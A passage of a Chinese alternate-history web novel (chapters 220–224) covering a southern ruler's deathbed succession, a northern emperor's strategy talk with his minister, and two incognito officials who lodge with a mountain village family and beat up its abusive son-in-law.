对啊!他都这么大了,自己作为一国之君,竟然还没有给他许上一门亲事!宗正寺竟然也只字未曾提起过这么重要的事! 我们父子……竟然陌生到这种地步了吗? “儿啊……朕自觉大限将至,估计是不行了……”李雄努力的眨了眨眼睛,突然感觉精神点了,便伸出手抓住李嘉的手,紧紧握住,感受着那一丝微弱的血脉相连。 “祖宗留下来的江山社稷,就交给你了。多……多纳一些官宦人家的清白女子,开枝散叶,多听…听大臣们的意见,朝政之事,不可一意孤行啊! 若…若是朕死之后,文氏来犯,可将兵权交付给茂之统指,不可相疑……” 立在一旁,胡子灰白的温茂闻言后泣不成声,双膝跪地,泣不成声:“陛下……” “若是朝堂之上有不解之事,可以虚心向书文请教,他……他是咱们家的萧何、张良啊……” 拄着拐杖、坐在凳子上的沈之章抹着花白胡子上的鼻涕,满脸晶莹,哽咽失语。 李雄叮嘱完李嘉后,扭头看向面前的臣子们,露出一副苍白的笑容: “朕此生能得诸公辅佐,共治江南数十载,是朕之幸。朕死之后,望诸公能够向对待朕一样,对劣子多加指点、循循善导,大唐……就拜托诸位了……” 几位唐国重臣闻言后纷纷跪地拜伏,就连年事已高的沈之章也在朱昌的搀扶下拄着拐杖跪到地上,众人皆是掩面悲泣,难过至极。 “陛下……” “陛下啊……” 费力的吸着气,胸前盖着的被子随着呼吸大幅起伏后,李雄的双目中尽是慈爱的看向李嘉—— “爹这辈子欠你太多,如果真的有来生,再补偿你吧……” 大郑建隆四年四月初九,唐主李雄病逝于金陵城德明殿,时年六十一岁。 太子李嘉在江南官员和世家望族的拥戴下,接过了大唐玉玺,坐上了江南国主的宝座。 第221章 未来 严格意义上来说,李雄比大多数偏安一隅的江南君主要有作为,也更加具备政治和军事才能。唐末以来群雄割据,到处都是民不聊生、战火纷飞的景象。李雄的父亲、唐国开国君主李潼依托金陵,团结江南士族,招贤纳士、厉兵秣马,广施仁义、轻徭薄赋,积累了雄厚的军事力量和经济储备。从父亲手中接过印玺后,唐国在李雄的率领下东平吴越,南定豫章,西进江夏,北伐中原。最鼎盛的时期,几乎统一了整个江南地区,连远在西南的牂牁蛮都不得不向唐国称臣纳贡。以至于有段时间,他们甚至可以和中原王朝正面硬刚而不落下风。别看其他势力闹的挺欢,但其实,从大周到大郑,中原王朝的头号劲敌一直都是唐国,没有之一。只可惜,人口、基建基础、生产力和战争潜能的差距,不是靠个人意志就能弥补的。那需要数百年甚至上千年的时间去经营,才能改变或者超越。即使强如宋武帝,也终究难违天命,何况李雄?辛弃疾有词云:何处望神州?满眼风光北固楼。千古兴亡多少事?悠悠。不尽长江滚滚流。年少万兜鍪,坐断东南战未休。天下英雄谁敌手?曹刘。生子当如孙仲谋。或许就是这位江南国主传奇一生的最好写照。当李雄去世的消息传到汴京时,文训正披着衣服坐在琼林苑的水榭楼台里,看着水中的鱼儿游曳。雨线落池塘,春叶挂青霜。不规则的池边岸石被雨水冲刷掉尘土,湿滑的表面还遗留着残枝断草,垂柳枝头已经碧绿透新,被风吹动,轻抚着泛起点点涟漪的镜面湖波。从手中的盒子里捏出一把鱼食后,文训随手一扬,立刻就有一堆红黄灰白各不相一的鱼儿争先恐后的聚集在栏下抢食,它们张着嘴巴,摇着尾鳍,时不时的猛窜一下,又立在原地不动。何关握着腰间的刀柄立在水榭内的台阶上,余光察觉到了什么,微微扭头看向碎石路的尽头墙边:一个小内官撑着大黄油伞,搀扶着拄着拐杖的杜宣,慢慢走了过来。他立刻走下台阶去迎,从小内官手中接过杜宣和油纸伞后,扶着他慢慢走上台阶。小内官左手横在腰腹前保持仪态,右手半缩在袖筒中,抬起胳膊遮挡额前,一路小跑着回去了。“陛下,右相来了。”何关将杜宣扶进亭子里后,对着文训提醒了一声,转身开始收伞。文训扭头一看,脸上露出微笑,合上鱼食盒子放在栏杆上后,慢慢走到桌子前坐了下来:“扬善来了?这雨可不小啊,何事如此着急?坐下慢慢说。”杜宣扶着拐杖、拱手行礼后,抖了抖有些沾湿的衣袖坐到桌子旁后,这才抬起头望着文训脸色严肃的说道:“刚刚收到消息,江南李雄,死了。”文训听到后微微一愣,望着杜宣的眼睛看了一会,又低头看向桌面上的果品酒具,一手扶着膝盖,一手枕在桌边,大拇指在食指上来回摩擦了两下后,用听不出悲喜的口吻点头说道:“知道了……”杜宣内心感慨万千,叹着气、歪头看向一旁的春色满园、雨潺潺的雾天。“我们跟他斗了差不多快五十年,乍一听他去了,臣这心里……还真有点空落落的。”文训同样看向栏杆外,目光有些游离,回想着和李雄大半辈子的恩恩怨怨,一时间竟有些不知该如何开口,说些什么。“他仅剩的那个儿子接替了么?”杜宣点头道:“是,叫李嘉,李雄弥留之际,把他托孤给了沈之章、温茂、周沛和童礼四人。”文训深吸了一口气后,眉头皱了起来。“沈之章只知求田问舍,虽位高权重,却不足为虑;周沛有德无才,花架子罢了。但温茂之和童谨行却有些本事,二人一左一右互为照应,若是不除,江南难图。”杜宣捋着胡子点头应道:“臣担心的也是这个,所以叫有方安排礼部的人去想办法离间他们和新君之间的关系了,新君初立,还是可以试一试的。”“嗯~”文训点了点头后,继续沉默了。杜宣也悄无声息的沉默了一会,既是给文训留下整理心绪的时间,也是自己在心中默哀那位远在天边、亦敌亦友的故人。“对了,陛下,那李嘉新纳了周沛的长女为后,看来还是有些手段的,知道本末,并不像传闻中那般庸懦无能。”沉默了良久后,杜宣才开口说起其他事情。文训也感怀的差不多了,回过神来。“周沛?那看来他与沈之章并不是一体同心,朕还以为他要迎娶姑苏沈家的女子。”杜宣点着头说道:“正是如此,沈家的门生故吏几乎遍布江南的朝堂和地方,按理来说也确实该立沈家女子为后,这个年轻人一上来就娶周家的,看来是有些想法。”说着说着,杜宣又莫名一笑,摇着头说道:“不过这也只是猜测,并无实据,真正的内幕还要等礼部的消息报上来才能知道。因为臣听说周沛有二女,虽相差三岁,却模样相仿,且都生的极为标致,长女端庄舒雅,次女天真烂漫,二人各有千秋。这孩子今年还不到三十,也说不准是看中了周家女儿的容貌,沈家还未出阁的女子适龄的也就两个,他们家的长相……呵呵~”欲言又止的评价,一般都是因为各种原因没有直接戳穿的否定。文训听后也忍不住看了一眼杜宣,以前怎么没看出来,这老货也是个以貌取人的。“不管他是想扶持周家平衡国内势力,还是贪恋美色不顾大局,如今木已成舟,朕料想那沈之章必然不会坐以待毙,告诉魏序和王臣鹤,把水再搅的浑一点。”杜宣点头道:“遵旨。”“还有,江南方向要宽松,让他们自己窝里斗消耗气力。至于江夏么……童谨行是个软硬不吃的主,跟此人没有必要弯弯绕绕,叫邵之祁和张照初做好准备,一旦时机成熟,就强攻江夏府!”“是。”谈完正事后,文训感慨的叹道:“千算万算,算漏了这个李嘉。关于此人,朕听说连唐国朝臣都知之甚少,也不知道是个什么样的性子……若是荒诞无能之辈,也就罢了。若是有些手段本事,在内执御江南士族,外有温茂、童礼,一统天下,怕是依旧要费不少功夫啊!甚至于……朕百年之后,恐生变故……”杜宣听后摇头笑道:“陛下多虑了,臣不担心当下,更不忧虑往后。”“嗯?”文训听后疑惑的看着杜宣问道:“此话怎讲?”杜宣笑着说道:“臣最近遇见了一件趣事,正要说与陛下听。”文训亲手翻过酒盅,倒上一杯后放到杜宣面前,又给自己添满酒盅。“趣事?你也是见惯了风浪的人,什么事竟能让你觉得新奇,快快说与朕听。”杜宣双手接去谢过以后,面色轻松的将见闻娓娓道来——“臣两日前,与太子殿下在中书衙门里议事批札子,到了用午膳的时候,殿下要了一碟新笋烩菇,一碗胡汤,一尾河鱼,还有一碟清油豆腐。”文训抿了一口酒后,看着杜宣脸色不悦,你搁这跟我报菜名呢?杜宣却一点也不急,继续缓缓说道:“臣与殿下同桌用饭,殿下在米饭里吃到了一粒沙子,这冷不丁的一下,痛到他丢筷捂牙。”文训“啧”了一声,有些无语的说道:“此乃炊伙之责,差人捉拿按律办处就是,有甚稀奇?”杜宣点着头说道:“臣当时也是这么说的,但太子殿下却拦住了臣,叫臣不要声张此事,自己将石子随手丢掉了。他对臣说:若是将此事宣扬出来,做饭的厨子必定要受到苛责和惩罚,那时便不好宽恕,因为朝廷的法度断不可废。但人非圣贤,孰能无过,以往的饭菜都无差错,这次也许是意外。没有必要为了这等小事,就叫下面的人受到处罚,他自己装作不知道就是了,还特意叮嘱臣不要事后计较。”文训听的入了迷,轻捋着胡须,若有所思。历史上,人们总是偏爱那些开疆拓土、威震天下的雄主。殊不知对于大多数普通百姓来说,心系民生、善于守成的仁君才是上上之选。那么文若是哪一种呢?他哪一种都不是,他是两者的结合体。很难想象一个还未成年时就在战阵之间厮杀,见惯了沙场之上尸山血海的人,会去怜悯普通人的性命和前途,会站在他人的角度考虑问题。这种同时具备铁血杀伐和慈悲怜悯的人,一定会是继往开来的一代圣主。百姓们经过这么多年的战乱,早就渴望休养生息,有一个和平安稳的生存环境。以文若的表现来看,他完全有能力和资质完成属于自己的历史使命,从父亲手中接过大郑,带领大家走向更加辉煌的未来。“呵呵呵……”想着想着,文训自己也笑了,有子如此,父又何虑?无论李雄的儿子是个什么样的人,他都不可能是我儿子的对手。更何况中原人才济济,年轻一辈中还有凌……好吧他不在。还有韩……好吧他也不在。还有王臣鹤、刘青山、吕齐、冯延之子冯俊、李卿等等等等一大堆青年才俊辅佐我儿……妈的!这俩小兔崽子怎么还不回来!这都快半个月了,音讯全无!你们最好别回来,回来后朕一定要剥了你们的皮!济州府,泰山脚下。凌晨穿着一身江湖人士的衣着,裹着绕脖过肩披风,腰间缠着酒葫芦,从左腰到右肩拉过去一条牛皮带,背上背着一把重剑(非实心,里面是空的),单手叉腰拄着一根破木棍,望着郁郁葱葱的泰山满脸欣喜。韩登也换了一身装束,但却是那种富家公子的衣装,这骚包还给自己整了把破折扇,腰间挂了块碧绿的圆环玉佩。凌晨让他换垫了厚布的紧靴,再给自己弄个绑腿把小腿绑起来,都被他傲娇的拒绝了。理由是形象不佳,影响姑娘们看他时的观感。再说了,不就是个泰山吗?巴掌大点地方,还不如秦岭的零头。小小泰山,单手拿捏。凌晨望傻子一样望了他一会,也就尊重他人命运了。好言难劝该死的鬼,人教人教不会,还是让事教人吧~于是,二人便启程出发,朝着泰山爬去。“天下都快统一了,你干嘛不跟陛下说上一声,带上护卫随从们来呢?不光一路吃喝不用花钱,上山也能骑马坐轿子,何苦为难自己呢?”韩登顺手折了一枝新开的花苞,放到鼻子跟前边嗅边问道。这种行为要是放到欧美,环保组织能骂到他怀疑人生。凌晨握着拐杖边走边说道:“从这句话就能看出你还差得远呢~你没听说过那句话吗?打天下易,守天下难。当大郑的将士踏进金陵皇宫、平定江南全境的那一天真的来临时,那不是结束,而是开始。”韩登一边思索着一边问道:“可这跟我们游览泰山有什么关系?”凌晨脚步一顿,停下来看着他说道:“我此趟出行,并不是出来玩的,而是要放下一切地位和标签,以一个普通百姓的身份去看看大郑内部和基层存在的问题,回去之后好呈奏给陛下,让大郑除旧革新,破除历代以来的循环困局,真正安稳的延续下去。”韩登不解提出了自己的疑惑:“如果真的要以普通百姓的身份游历,那先前过城关时,你干嘛掏出采诗官的路引凭证?还有,你不是一直想逍遥度日、躲避尘世吗?怎么开始主动为朝廷考虑了?”“我……没办法,公司给的实在太多了,我已经把公司当家了。”说罢,凌晨摇了摇头,抬腿继续向前走去。韩登略微思索后,连忙追了上去——“哎,公司是什么?是指朝廷吗?还是陛下啊?你为什么要这么称呼啊?”“你特么十万个为什么啊!”“这又是什么?为什么是十万?一万和二十万不行吗?”“……”此处人烟稀少,还在结伴爬山,嗯…… 第222章 野村宿 人间四月芳菲尽,山寺桃花始盛开。长恨春归无觅处,不知转入此中来。山林古道郁郁葱葱,道旁野草肆意生长,向阳而生;不知名的野花开遍芳丛,白色蝴蝶逐风而去,嗡嗡蜜蜂抱粉归巢;阳光穿透叶隙,带来明媚,清风拂过脸颊,吹散阴霾。鸟鸣声由远及近,分不清是在哪边枝头,虫叫时隐时现,无处去寻觅影踪。林间道上没有遇见过行人,高山下的溪涧中偶现白鹿,海到尽头天作岸,山登绝顶我为峰。凌晨挥舞着手中的假重剑,举刀劈向路边草树,斩落一地绿茎枯麻。“哈哈哈哈~~”放肆开心的大笑声飘荡在山野之中,自从上了高中以后,凌晨就再也没有这么中二过了。既是怕被别人当成傻子,也是无法面对自己内心的羞耻,今天终于寻回本真,做回自我了!跟在后面的韩登嫌弃的抿着嘴闭上眼睛,使劲扇着扇子加快脚步。那股说走就走的新鲜劲退去后,爬山就变得有点无聊了,而且凌晨的行为让他感觉有点丢人。堂堂大郑殿帅,哪怕是挥刀砍倒一堆人呢~也比砍倒一片杂草看起来正常呀!得亏这荒山野岭的没什么人,要不然,他绝对会假装不认识旁边这个神经病。嗨了一会后,凌晨也嗨不动了。从腰间拿起酒葫芦,拔出塞子灌了两口后,凌晨嫌弃的将手中重剑随手丢进了道路旁的草丛里,这个逼,不装也罢。“这个山是非爬不可吗?”韩登也没力气扇扇子了,直接单手攥着扇身叉住腰,很自然的从凌晨手里拿过酒葫芦,也不嫌弃他喝过,直接对着嘴“咕咚咕咚”的猛灌,等凌晨从他上下滚动的喉结中反应过来时,这货已经把水喝光了,还控着抖了两下。“东岳日出还是值得一看的,好的风景都在路上,好的东西都要努力才能获得,大郑没有缆车,但是有拖油瓶。”凌晨摇着头拄着拐杖来到一处树荫下,蹲靠着树干一屁股坐了下来,望着山路对面的群峰叠嶂打了个哈欠。韩登识趣的将酒葫芦挂在肩脖上后,也来到凌晨身边盘腿坐下休息。“哎凌晨,你说王兄当初是怎么把这里的山贼剿灭的?”“不知道,我只知道你把老子的水一口气干光了,而且自己还没带水。”“你也太小气了,一点水都要拿来说。”“那是我兑了蜜的水,而且你小子哪里来的脸说的这么轻巧?现在就起来滚去给老子把葫芦填满~”韩登闻言扭头朝着四周看了看,哪特么有河啊?更别说蜜了,于是只好心虚的闭上了嘴。“什么穿黑又穿白呀?阳鹊穿黑又穿白呀~什么穿的是一锭墨?老娃穿的是一锭墨~什么穿的十样锦?锦鸡子穿的十样锦~什么穿的绿豆色?鹦哥儿穿的绿豆色~”就在二人黄狗吐舌的歇息之际,从来时路的方向传来一阵由远及近的歌声,听着像是女儿家的声音,还有骡子的脖铃声。在大郑,即使是最穷的人家,只要有牲口,都会想办法给他们弄点铁铃铛、铜铃铛之类的,最不济也要整俩陶瓷片挂身上,这样一旦走脱或者丢失了,好方便顺着声音寻找追踪。毕竟牲畜是大宗资产。凌晨从地上爬了起来,踢着韩登的屁股说道:“来活…来人了。”韩登也精神一振,撑着地翻了起来,拍去屁股上的尘土后,很自然的将拉低逼格的酒葫芦塞进凌晨怀里,“哗”的一声打开折扇,摆出温文尔雅的潇洒模样。一个看起来年近六十、农家老汉模样的人,坐在前面车辕上,笑呵呵的挥舞着鞭子赶着骡车。木板车上坐着两名女子,一个黑黑的,看模样也就十七八,另一个是位“微胖”的黑大婶,四十岁起步。待他们走到跟前了,凌晨正要抱拳搭讪,谁知韩登却一把将他扯到身后,举着扇子拱手见礼,文质彬彬的屈身发问:“晚生冒昧叨扰,敢问老丈,此路向前可有人家?”“斯文败类……”凌晨不满的小声嘟囔了一句。原本十分欢快的小女孩见有陌生男子,也不再放声歌唱了,只是羞答答的背过身去;那大婶倒是两眼放光的打量着眼前气度不凡的贵公子和他的随从。老汉也在殿帅和秦王身上来回瞅了瞅,爽朗的说道:“向前翻过这个山头,过峡底后再上到半山腰,就到碧游村了。”嗯?碧游村???凌晨忍不住开口询问道:“村子里有没有一个叫马仙洪的?”其他人具是一愣,老汉不假思索的回答道:“好像没有,碧游村十八户人家老汉都熟识,没有姓马的人家。”哦,没有就好。“看你们二位的衣着谈吐,不是山里人吧?老汉多嘴问一句,到此有何贵干呐?”韩登刚要开口,凌晨就抢先答道:“是这样的,我这表弟科考失意,心情不佳,我就带他出来踏青了,准备让他看看山顶日出,让他能心胸豁达点。”韩登扭头无语的看向凌晨,你还真是张口就来啊……察觉到老汉和大婶都盯着自己看,韩登只好接下落榜生的身份,叹着气说道:“都怪我读书不用功,怨不得别人。只是我一介书生,不知山路崎岖,行至此处已经腿脚酸软,带的水也喝光了,不知道老丈方不方便载我一程?”老汉听后不假思索的点着头说道:“这有什么不方便的,我们庄稼人一年也见不到几个识字的老爷,这事儿好说,上来吧~”韩登连忙再次行礼致谢,乐呵呵的跑到后面跳上了木架车,一屁股坐了下来。“我这表哥自幼习武,二十多年的腿脚功夫傍身,不必管他,这便走吧~”“啧~~你妈!”在车上和老汉三人聊了一路,他们是后山的村民,这趟是把山货带下去卖,再采买一些生活用品带回来,老汉姓郝,是大婶的亲爹,那女孩是大婶的女儿。家庭结构有点复杂,大婶生了女儿却住在娘家,究竟是女婿倒插门还是夫妻和离还是男人死了,不得而知。不过凌晨和韩登也很识趣的没有问太多,不然人家万一生气了拒载咋整?总不能因为这点小事就恩将仇报、杀人抢车吧?那也太抽象了。碧游村没有神机百炼,就一普通小山村,家家户户用茅草和土坯墙修筑起房屋,围成一个小村落。聊的熟了,郝老汉大手一挥,邀请凌晨和韩登去他家住,省得万一碧游村的人家不要他们,还得露宿山野。南岭村,上半坡。凌晨跟韩登立在大树下,感受着山中古村的淳朴与简单,从田间地头回来的人也都扛着锄头、背着背篓坐下来休息,远远的聚在一起,一边聊天一边看着这两个异乡人。韩登双手抱胸,用肩膀挤了一下凌晨,扬着下巴示意他看向郝老汉家的小孙女。“哎~你说,那女子怎么样?”凌晨莫名其妙的看了一眼和五六个大小不一的女娃们聚在一起的小黑女,活泼中略带着一点羞涩,眸子亮亮的,鹅蛋脸上是年轻的胶原蛋白。如果放汴京城养个一两年,一定也是位小美人,比初见时的青柠有灵气。可这跟他俩有啥关系?“小姑娘挺好的,不过那又怎样?我的心中只有朝廷和百姓。”“可她也是百姓啊~”草。凌晨不满的看向韩登:“我警告你小子啊,不要想着欺骗感情,霍霍人家无知少女,你想牡丹花下死我不管,别拉上我,我还想看到明天的太阳呢。”韩登嘴角翘起:“谦虚了不是?以殿帅您的武艺和身手,屠个小小南岭村还不是跟玩似的?”凌晨哼哼一笑:“你这么一说我才想起来,咱俩认识这么久了,还没有battle过呢,怎么着秦王殿下,比划两下子?”韩登张着嘴用舌头舔了舔嘴唇,深思熟虑了一番之后,摇着头说道:“你我都是身居要职之人,一言一行代表着朝廷的颜面,怎么能跟乡野村夫、江湖粗人一样动手动脚呢?”“切~”当你凝视深渊的时候,深渊也在凝视你。村子里几个中年大婶聚在一起,有说有笑的看着这两个白白净净的年轻小伙子,指指点点、议论纷纷。“哎,你们说,这俩后生成家了没有?”“看这年纪…孩子都能下地干活了吧!”“那真是可惜了~哎翠草,你要不去问问?你看啊,他们这面皮透亮,衣衫也不像种地的,说不得是乾封县城里大户人家的公子。你家红果年纪也不小了,这十里八乡的小伙子加起来,怕都不如这俩一根手指,就是做妾都比嫁到山里强,万一他们还没成亲,撮合成了,你后半辈子也就享福了。”郝老汉的女儿,与凌晨他俩同来的翠草大婶闻言皱眉道:“我把你个没脸皮的膏药师爷!我就红果一个女儿,哪里能让她去做小受气?再说人家能看的上咱们山野里的女娃?”先前出主意的妇女撇着嘴说道:“那谁知道?万一他们看厌了胭脂水粉,没见过咱们山里女娃,就稀罕这股子新鲜劲呢?再说了,你要是不愿意让红果吃亏,那你自己去呗,你也守寡这么多年了,你上怎么也不会吃亏~”话音刚落,这帮老娘们立刻就爆发出一阵哄笑!“哈哈哈哈……”“呵呵呵~~”翠草大婶闻言就奔过去抓住那位口出虎狼之词的妇女胳膊,攥着腰就掐:“都多大年纪的人了,说这话也不怕被雷劈咯!那俩人都能做你我孩子了,疯了么爬咱们老婆子的炕?!”那位豪放无比的妇女一边叫着躲避,一边笑喘着气说道:“那谁知道呢,我看那书生模样的就挺嫩,万一还是个雏呢?”不远处的凌晨竖起耳朵听到了这句分贝微高的黄腔,无奈的叹着气摇了摇头。大妈,别逗你登哥笑了。他的花样,多到能颠覆你的认知。山里的夜晚格外宁静,除了蝉鸣和蛙叫之外,就只有疾风吹动树叶的“簌簌”声,不用担心会像充满阴谋算计的汴京城一样,有人会半夜放火、闯进你家里来杀人。满天繁星如同洒落在夜幕里的珍珠,璀璨清晰,明暗不一,参差错落中暗含着可循轨迹。明月挂在天边一角,散发着皎洁的银辉,今人不见古时月,今月曾经照古人。时空的梦幻和飘渺,让凌晨有些恍惚。“哎,发什么愣呢?吃饭了。”直到韩登拍了拍他的肩膀,凌晨才从思索中回过神来。扭头看去,夯土院子里已经摆好了小木桌,还放着三个小板凳。郝老头已经坐下了,韩登和凌晨一起走了过去,分别坐在他的左右手。上一个敢这么心安理得的坐在上首的人,叫文训。饭菜很简单,汤面片上面撒了些葱花和不知名的时令蔬菜,也不知道是自家种的还是挖来的野菜,放了盐,汤面还漂着油花。还有三颗煮鸡蛋分别放在每个人的面前,桌子中间摆着一碟奇怪的咸菜,黑不拉几的认不出,凌晨眯着眼凑近瞅了半天,也没分辨出来是个啥。郝老汉笑着抬手说道:“山里没什么好饭菜招待贵客,二位将就一下,不要嫌弃粗淡。”凌晨和韩登立刻客气的摆手,言说不敢。无关地位和身份,这是教养问题。郝老汉笑呵呵的握着鸡蛋,在小木桌上磕破以后,慢悠悠的剥起了蛋壳;凌晨和韩登端起桌子上的碗筷,只剩下“呲溜~呲溜~”的狼吞虎咽声。两个壮小伙子,爬了小半天山路,就喝了点水,能不饿嘛~正刨食间,翠草婶子又端来了两碗面片,弯着腰放在了木桌上,在围裙上擦了擦手后,笑着对韩登和凌晨说道:“慢点吃,不够锅里还有。”“嗯嗯~有劳婶子~”“好,辛苦大姐了~”啧……凌晨手中的动作一顿,无语的看着面前的韩登,真想把碗里的汤面扣在这逼崽子的脑袋上。密码的,老子迄今为止见过无数关中人,就没有一个像韩登这么又欠又贱的!我特么正常喊人家“婶”,你来一句“姐”?呲嗷!! 第223章 家庭暴力吗? 众所周知,柯南走到哪里,哪里就会发生命案。所以换个角度来说,只要把他关进铁笼子里,天下不就太平了?小木桌上堪比结算画面,郝老汉面前摆着两只褐陶碗,干干净净的像洗过一样,因为他刚才吃完后仔仔细细的舔过。凌晨身子直着,摸着肚子不住打嗝,面前叠垒着四个碗,残汁菜叶还有不少。韩登还在继续埋头炫饭,身前的桌面上垒着五个碗,这也得亏他胎投的好,分到了钟鸣鼎食的关中韩家。要是出生在寻常布衣人家,要么饿个半死,要么吃的家徒四壁。立在灰白色茅草低垂的厨房门前,翠草婶子的脸上露出欣慰的笑容,红果躲在她的身后,拉着母亲的胳膊盯着韩登饿死鬼投胎的背影捂嘴偷笑。对于主人家来说,客人能吃这么多,也是一种肯定和自豪,并不会心疼粮食。嗯……起码不会在这个时候心疼。“咚咚咚~”正在这宾主尽欢之际,一阵敲门声打破了温馨和祥和,翠草婶子解下腰间的围裙递给红果,拍着灰色袖筒上的面粉,走到土院门前撤去门闩,打开了院门。门外站着一个满脸短胡子的中年汉子,所有的头发都齐齐向上用布巾扎住,垂在脑袋右侧。衣服只穿着半边,右肩和胸脯都露了出来,借着月光和微弱的油灯还能看到脸上和身上的伤疤。男人冷着脸一言不发的走进了院子里,单手握着扛在肩膀上的一柄长刀,腰间用黑布带束着,脚上踩着旧军靴,目光冷漠的看向院中。凌晨用呆萌的眼神好奇的打量着他,充满了吃瓜意味。韩登仍旧在炫饭,毫不在意。反正无论进来的是谁,都不可能需要他起身。就算是王臣鹤来了,那也得看他心情,不给面子也没什么不对。因为放眼整个天下,需要他起身见礼的只有三个人。一个现在就坐在自己面前,另外两个不可能大半夜跑到这山中野村来,绝无可能。严肃的讲,当年汝南献图时,文家书房里只有四个人参加大郑集团有限公司的首次创始会议,文训工号001,凌晨工号002,文若工号003,他004。翠草婶子用一种极其复杂的眼光看着来人,目光中既有莫名的情感,又有一股恐惧、害怕和……难堪?红果的脸上露出一副难以言喻的表情,先是下意识的想要抬腿上前,后又想起了什么似的,止住脚步低下了头。郝老汉的面色由晴转阴,冷哼一声,拍着桌子站起身来,指着进来的男人毫不客气的喝骂道:“你来做什么?这里不欢迎你,快给我走!”男人轻蔑一笑,丝毫不把郝老汉放在眼中,自顾自的走到凌晨面前,将肩上的刀一把丢在桌子上,砸的碗筷一阵乒里乓啷。“岳丈怎么还是这股暴脾气?我饿了,娘子,快去给我端几碗饭来。”说罢,男人拍了拍凌晨的肩膀,挥着手让他起身。凌晨一脸懵逼的站起身来,把位置让给了他。他也不说感谢的话,就这么坐了下来,顺便还把翠草婶子给韩登备的一碗饭端了过去,低头就刨食起来。韩登放下手中的碗,面色既疑惑、又不满的看向男人。郝老汉整理了一下心情,尽量用缓和的语气对凌晨和韩登说道:“二位贵客,实在抱歉。请你们回屋歇息吧,老汉要处理些家事……”韩登将碗放下,并没有打算离开。秦王殿下以前做司狱郎时,去别人家吃饭可从来没有人敢拒绝,更没有人敢抢他的饭!就在他准备习惯性的按住男人的头,把他塞进碗里时,凌晨眼疾手快,一把拉住处在暴走边缘的韩登,扯着他的胳膊往郝老汉收拾出来的土屋走去。清官难断家务事,更何况他俩现在是客人,插手人家的家事算怎么回事?太不礼貌了。回到土屋里后,韩登皱着眉不满的看了凌晨一眼,又忿忿不平的看向屋外:“老郝明显不待见那狗东西,娘的!还敢抢我的饭,我正准备让他吃个够呢,你装什么善类?”凌晨一脚踢在韩登大腿上:“草,你特么跟老子说话客气点!你眼瞎还是耳聋?没听那人喊翠草婶子娘子、喊郝老丈岳丈么?你一个外人插什么手?”“……”韩登满脸烦躁的皱着眉头往院子里望了一眼,晦气的朝着一旁吐了一口,怏怏不乐的双手抱胸盯着男人的身影,不收拾对方一顿,他今晚睡不着。院子里传来争论声,声音越来越大,最后甚至变成激烈的争吵,直到陶碗摔碎的声音传来。凌晨拨开韩登的脑袋,探出头往外一望——男人揪住郝老汉的衣领,表情凶狠的可怕,挥舞着另一只拳头扬了好几次,看样子有那么一股暴打老丈人的架势。翠草婶子连忙扑上前去拉住他的胳膊,却被他蛮横的用力推开,一屁股摔倒在了地上。红果也赶忙跑了过来,先是去扶母亲,又想起姥爷还在亲爹手中,随时可能添两圈熊猫眼,于是又刹住脚步,转身去扶住被扯着甩来甩去的郝老汉,哭着央求男人住手。凌晨扭了扭手腕,抬腿就走出了房门。韩登表情一愣,下一刻,急忙追了出去:“哎哎哎,不至于不至于,你不是刚才还说疏不间亲、不能喧宾夺主吗?”自己杀人,手起刀落,痛痛快快。凌晨就不一定了,他喜欢拿尸体搞行为艺术,什么京观、风铃、田间稻草人等等等等……吓着这一家子,留下心理阴影就不好了,红果那小姑娘年纪还小,可别给吓坏了。男人扯着郝老汉的胸口,把他从东拉到西,又从西拉到东,情绪激动的嚷嚷道:“老东西!别以为你年纪大我就不会打你!这两天买卖不好老子正窝火呢!你还教训上……啊!!”韩登抢在凌晨前面,飞起一脚就将男人踹的直直飞了出去!郝老汉也和扶着他的红果失去平衡一起摔倒在地上。凌晨看了一眼韩登的后脑勺,扭头走到郝老汉身边,拉着他的胳膊将他扶了起来。“没事吧老丈?”郝老汉气的胸腔起伏不定,对凌晨摆了摆手,喘着气看向撑着地爬起来的男人,家丑外扬的难堪和客人面前家中大闹的失礼,让他又气又羞的说不出话来。男人一手扶着腰咬着牙站起身来,目光狠厉的看向面前的韩登,又冷哼着对郝老汉骂道:“我说今天怎么这么硬气呢,原来是找到下家了,你是准备把我娘子和女儿分给这两个么?别忘了出嫁从夫、有子从父的道理,她们的去留是我决定的!”韩登懒得跟他废话,抬起腿一脚踩在桌子上的长刀刀尖,将刀踩飞起来,握住刀柄后挥手一扬,将刀丢到了男人手中。“不要废话了,来,砍我。”郝老汉和红果、以及跑过来扶住他的翠草婶子都被韩登的这一骚操作给整懵了。翠草婶子面色焦急的就要上前帮韩登拦住丈夫:“小相公!他就是山里吃过路饭的,惹急了他,真会对你动刀的呀!”凌晨一把拉住翠草婶子,把她拽了回来。别闹了婶儿,你男人顶多生气了会杀人,刚才我不让小登杀人,他还跟我发脾气呢。男人看了看手中的刀,有些不敢相信,他还以为这俩毛头小子会一起上跟自己缠斗,没想到就来了一个,还主动把刀递还给了自己?哼,那就怪不得我了,下辈子,注意着点!!“喝啊——”略一思索后,男人飞身跃起,毫不犹豫的挥刀劈向韩登!“啊!!”翠草婶子被吓的尖叫起来,红果闭着眼睛缩着脖子将头埋在郝老汉的胳膊后,不敢再去看,郝老汉自己也吞了吞口水,面露震惊之色。韩登沉着脸向着一侧闪身躲过刀刃,在男人快要落地时伸脚勾住他的小腿,在空中失去平衡的男人“砰!”的一声重重摔在地上,手腕好像被扭到了,胸腔如遭重击,感觉不到疼,但是却说不出一句话来。哪有什么你来我往,k.o只在一瞬之间。挣扎着翻过身后,男人还在等待沉默状态解除,韩登已经快步来到了他的面前,下一刻,一双大脚就用力踩在了他的脸上!脖子里传来清脆的“咯嘣”声,刺痛发麻;手腕像是被针在扎,胳膊肘子火辣辣的,应该是擦破了皮;胸腔很闷,能喘气,能张嘴,但就是发不出声音来。一脚将刀踢远后,韩登踩在男人的胸口上,俯下身来饶有兴趣的观察对方表情,他这才咳出了声,能说话了:“咳咳咳……呃……啊!!”“给你机会你也不中用啊~啊?给你机会你不中用啊!”男人咬着牙,表情痛苦的躺在地上扭动,头发、脸和衣服上全是尘土,感受着全身传来的疼痛和酸爽,依旧硬气的骂道:“狗…狗崽子,你等爷爷起身来,不把你打……”下一刻,韩登笑着收回了踩在他胸口的脚,吊儿郎当的往后退了一步之遥,换上另一只脚,抡圆了踢在他的脸上。牙齿裹着稠血汁一起撒在了地上。他就喜欢这种硬气的! 第224章 我赶时间 